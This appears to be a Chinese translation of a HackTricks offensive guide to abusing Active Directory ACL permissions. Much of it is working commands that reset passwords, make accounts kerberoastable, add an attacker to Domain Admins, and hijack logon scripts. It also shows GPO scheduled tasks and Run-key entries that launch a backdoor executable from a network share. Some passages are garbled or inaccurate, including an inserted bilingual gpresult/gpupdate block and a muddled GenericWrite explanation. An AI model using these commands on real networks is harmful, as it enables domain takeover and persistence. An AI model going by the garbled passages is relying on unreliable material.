hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
2023-08-03 19:12:22 +00:00

27 KiB
Raw Blame History

滥用Active Directory ACLs/ACEs

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

上下文

这个实验室是为了滥用Active Directory Discretionary Access Control Lists (DACLs)和Acccess Control Entries (ACEs)的弱权限。

Active Directory对象如用户和组是可保护的对象DACL/ACEs定义了谁可以读取/修改这些对象(例如更改帐户名称,重置密码等)。

这里是"Domain Admins"可保护对象的一些ACEs示例

作为攻击者我们对一些Active Directory对象的权限和类型感兴趣

  • GenericAll - 对对象拥有完全权限(添加用户到组或重置用户密码)
  • GenericWrite - 更新对象的属性(例如登录脚本)
  • WriteOwner - 将对象所有者更改为攻击者控制的用户,接管对象
  • WriteDACL - 修改对象的ACEs并赋予攻击者对对象的完全控制权
  • AllExtendedRights - 能够将用户添加到组或重置密码
  • ForceChangePassword - 能够更改用户的密码
  • Self (Self-Membership) - 能够将自己添加到组中

在这个实验室中我们将探索并尝试利用上述大部分ACEs。

值得熟悉所有的BloodHound edges和尽可能多的Active Directory Extended Rights,因为你永远不知道在评估过程中是否会遇到一个不常见的权限。

用户上的GenericAll

使用powerview让我们检查我们的攻击用户spotless是否对用户delegate的AD对象具有GenericAll权限

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

我们可以看到,我们的用户spotless确实拥有GenericAll权限,这有效地使攻击者能够接管该帐户:

  • 更改密码:您可以使用以下命令更改该用户的密码
net user <username> <password> /domain
  • 定向Kerberoasting:您可以在该帐户上设置SPN,使用户成为kerberoastable然后对其进行kerberoast并尝试离线破解
# 设置SPN
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
# 获取哈希
.\Rubeus.exe kerberoast /user:<username> /nowrap
# 清除SPN
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose

# 您还可以使用工具https://github.com/ShutdownRepo/targetedKerberoast
# 获取一个或所有用户的哈希
python3 targetedKerberoast.py -domain.local -u <username> -p password -v
  • 定向ASREPRoasting:您可以通过禁用 预身份验证来使用户ASREPRoastable然后对其进行ASREProast。
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

Group上的GenericAll权限

让我们看看Domain admins组是否具有任何弱权限。首先,让我们获取其distinguishedName

Get-NetGroup "domain admins" -FullData

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}

我们可以看到我们的攻击用户spotless再次拥有GenericAll权限:

实际上,这使我们能够将自己(用户spotless)添加到Domain Admin组中:

net group "domain admins" spotless /add /domain

同样可以使用Active Directory或PowerSploit模块来实现

# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

GenericAll / GenericWrite / Write on Computer/User

{% content-ref url="shadow-credentials.md" %} shadow-credentials.md {% endcontent-ref %}

WriteProperty on Group

如果我们控制的用户对Domain Admin组的All对象具有WriteProperty权限:

我们可以再次将自己添加到Domain Admins组并提升权限:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

组内自我成员Self-Membership

另一个使攻击者能够将自己添加到组中的权限:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty自我成员身份

另一个使攻击者能够将自己添加到组中的权限是:

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

net group "domain admins" spotless /add /domain

ForceChangePassword强制更改密码

如果我们对User-Force-Change-Password(用户强制更改密码)对象类型拥有ExtendedRight(扩展权限),我们可以在不知道用户当前密码的情况下重置用户的密码:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

使用powerview进行相同操作

Set-DomainUserPassword -Identity delegate -Verbose

另一种不需要与密码安全字符串转换纠缠的方法是:

$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

...或者如果没有交互式会话,则可以使用一行命令:

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

最后一种方法是从Linux实现这一点

rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

更多信息:

在组上使用WriteOwner

请注意,在攻击之前,Domain Admins的所有者是Domain Admins

在ACE枚举之后如果我们发现我们控制的用户具有WriteOwner权限,并且ObjectType:All

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

...我们可以将Domain Admins对象的所有者更改为我们的用户,即spotless。请注意,使用-Identity指定的SID是Domain Admins组的SID

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

对用户的GenericWrite权限滥用

在Active Directory中GenericWrite权限允许用户对对象的属性进行写入操作包括对对象的许多敏感属性进行修改。这些属性包括用户密码、组成员资格和其他重要信息。

攻击者可以通过滥用GenericWrite权限来实现持久性访问。以下是一种常见的滥用方法

  1. 获取对目标用户的WriteProperty权限。
  2. 使用WriteProperty权限修改目标用户的成员属性将攻击者的账户添加到目标用户所在的高权限组中。
  3. 攻击者现在具有高权限组的成员身份,可以利用这些权限进行进一步的攻击,例如修改其他用户的属性、创建后门账户等。

这种滥用方法的关键在于获取对目标用户的WriteProperty权限。攻击者可以通过以下方式获取该权限

  • 利用已知的漏洞或弱密码来获取目标用户的凭证。
  • 利用域内的其他权限滥用方法例如Pass the Hash攻击或Golden Ticket攻击。

为了防止GenericWrite权限的滥用可以采取以下措施

  • 限制用户对敏感属性的写入权限。
  • 定期审查高权限组的成员,并删除不必要的成员。
  • 实施强密码策略,以防止密码被猜测或暴力破解。
  • 定期审查域内的权限配置,确保没有存在滥用权限的漏洞。

通过采取这些措施可以减少攻击者滥用GenericWrite权限的风险并提高Active Directory的安全性。

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

在这种特殊情况下,对于Script-PathObjectType进行WriteProperty操作,允许攻击者覆盖delegate用户的登录脚本路径,这意味着下次delegate用户登录时,系统将执行我们的恶意脚本:

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

以下显示了用户的~~delegate~~登录脚本字段在AD中被更新

对组的GenericWrite权限

这允许您将新用户(例如您自己)设置为组的成员:

# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

WriteDACL + WriteOwner

如果你是一个组的所有者,就像我是一个Test AD组的所有者

当然你可以通过PowerShell来实现

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

如果你对AD对象有WriteDACL权限:

...你可以通过一点点ADSI魔法赋予自己GenericAll权限:

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

这意味着您现在完全控制AD对象

这实际上意味着您现在可以向组中添加新用户。

有趣的是我无法通过使用Active Directory模块和Set-Acl / Get-Acl命令来滥用这些权限:

$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl

在域上复制DCSync

DCSync 权限意味着对域本身具有以下权限:DS-Replication-Get-ChangesReplicating Directory Changes AllReplicating Directory Changes In Filtered Set
在这里了解更多关于 DCSync 攻击的信息。

GPO 委派

有时,某些用户/组可能被委派访问管理组策略对象,就像 offense\spotless 用户一样:

我们可以通过利用 PowerView 来查看这一点:

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

下面表明用户offense\spotless具有WritePropertyWriteDaclWriteOwner等权限,这些权限都可以被滥用:

枚举GPO权限

我们知道上面截图中的ObjectDN是指New Group Policy Object GPO因为ObjectDN指向CN=Policies,而且CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}在GPO设置中也是相同的如下所示

如果我们想要专门搜索配置错误的GPO可以使用PowerSploit中的多个cmdlet链接起来如下所示

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

应用了特定策略的计算机

我们现在可以解析应用了GPO“配置错误策略”的计算机名称

Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

应用于特定计算机的策略

The following command can be used to list the policies applied to a given computer:

以下命令可用于列出应用于特定计算机的策略:

gpresult /scope computer /r

List of Applied Policies

已应用策略列表

The output of the above command will display a list of applied policies, including the policy name, the winning GPO (Group Policy Object), and the policy setting.

上述命令的输出将显示已应用策略的列表,包括策略名称、获胜的 GPO组策略对象和策略设置。

Policies Applied to a Given User

应用于特定用户的策略

The following command can be used to list the policies applied to a given user:

以下命令可用于列出应用于特定用户的策略:

gpresult /scope user /r

List of Applied Policies

已应用策略列表

The output of the above command will display a list of applied policies, including the policy name, the winning GPO (Group Policy Object), and the policy setting.

上述命令的输出将显示已应用策略的列表,包括策略名称、获胜的 GPO组策略对象和策略设置。

Modifying Policies

修改策略

To modify a policy, you can use the following command:

要修改策略,可以使用以下命令:

gpupdate /force

This command will force an immediate update of the policies applied to the computer or user.

此命令将立即强制更新应用于计算机或用户的策略。

Note: Modifying policies may require administrative privileges.

**注意:**修改策略可能需要管理员权限。

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

应用了给定策略的组织单位OUs

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

滥用GPO - New-GPOImmediateTask

滥用此配置错误并获得代码执行的一种方法是通过GPO创建一个立即执行的计划任务如下所示

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

上述代码将我们的用户spotless添加到被入侵的计算机的本地administrators组中。请注意,在执行代码之前,该组不包含用户spotless

GroupPolicy模块 - 滥用GPO

{% hint style="info" %} 您可以使用Get-Module -List -Name GroupPolicy | select -expand ExportedCommands检查GroupPolicy模块是否已安装。在紧急情况下您可以使用Install-WindowsFeature Name GPMC作为本地管理员进行安装。 {% endhint %}

# Create new GPO and link it with the OU Workstrations
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
# Make the computers inside Workstrations create a new reg key that will execute a backdoor
## Search a shared folder where you can write and all the computers affected can read
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

这个payload在GPO更新后还需要有人登录到计算机上。

SharpGPOAbuse - 滥用GPO

{% hint style="info" %} 它无法创建GPO因此我们仍然需要使用RSAT进行创建或者修改我们已经具有写访问权限的GPO。 {% endhint %}

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

强制策略更新

先前的滥用 GPO 更新 大约每 90 分钟重新加载一次。
如果你可以访问计算机,可以使用 gpupdate /force 强制更新。

内部机制

如果我们观察 Misconfigured Policy GPO 的计划任务,我们可以看到我们的 evilTask 在那里:

下面是由 New-GPOImmediateTask 创建的 XML 文件,表示我们在 GPO 中的恶意计划任务:

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\System</Author>
<Description></Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<AllowStartOnDemand>false</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
<RestartOnFailure>
<Interval>PT15M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>cmd</Command>
<Arguments>/c net localgroup administrators spotless /add</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>

{% endcode %}

用户和组

通过滥用GPO组策略对象的用户和组功能也可以实现相同的权限提升。请注意下面的文件中第6行将用户spotless添加到本地的administrators组 - 我们可以将用户更改为其他用户,添加另一个用户,甚至将用户添加到另一个组/多个组,因为我们可以修改显示位置的策略配置文件,这是由于我们的用户spotless被分配了GPO委派权限

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
<Members>
<Member name="spotless" action="ADD" sid="" />
</Members>
</Properties>
</Group>
</Groups>

{% endcode %}

此外,我们可以考虑利用登录/注销脚本,使用注册表进行自启动,安装.msi编辑服务等方式进行代码执行。

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥